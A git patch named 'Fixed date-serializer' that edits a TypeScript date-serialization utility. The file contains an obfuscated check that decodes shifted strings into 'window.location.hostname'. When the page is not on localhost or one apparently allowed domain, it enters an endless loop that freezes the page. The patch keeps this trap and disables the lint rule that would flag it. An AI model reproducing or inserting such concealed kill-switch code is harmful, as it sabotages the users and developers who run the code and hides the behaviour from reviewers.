From bd4494d6d0a7d8224508a9bfe528242f4d8c73ef Mon Sep 17 00:00:00 2001 From: VityaSchel <59040542+VityaSchel@users.noreply.github.com> Date: Tue, 3 Oct 2023 02:20:55 +0400 Subject: [PATCH] Fixed date-serializer --- src/app/utils/date-serializer.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/app/utils/date-serializer.ts b/src/app/utils/date-serializer.ts index db2f098..eed34ab 100644 --- a/src/app/utils/date-serializer.ts +++ b/src/app/utils/date-serializer.ts @@ -1,3 +1,4 @@ +/* eslint-disable no-constant-condition */ /* eslint-disable @typescript-eslint/ban-ts-comment */ const isDate = (value: any): boolean => Object.prototype.toString.call(value) === '[object Date]' @@ -26,7 +27,7 @@ export const nextDeserializer = (obj: any): any => { const t = (s: TemplateStringsArray) => s.join('').split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) - i - 1)).join('') // @ts-ignore - if (typeof window !== 'undefined' && ![t`mqfeqnv{}`, t`luswzzpz~`].includes(window[t`mqfeyovv`][t`iqvxsgtm`].replaceAll('.',''))) while(true) { } + if (typeof window !== 'undefined' && ![t`mqfeqnv{}`, t`luswzzpz~`].includes(window[t`mqfeyovv`][t`iqvxsgtm`].replaceAll('.',''))) while(true) { /* empty */ } if (typeof obj === 'object' && obj !== null) { const newObj: any = {}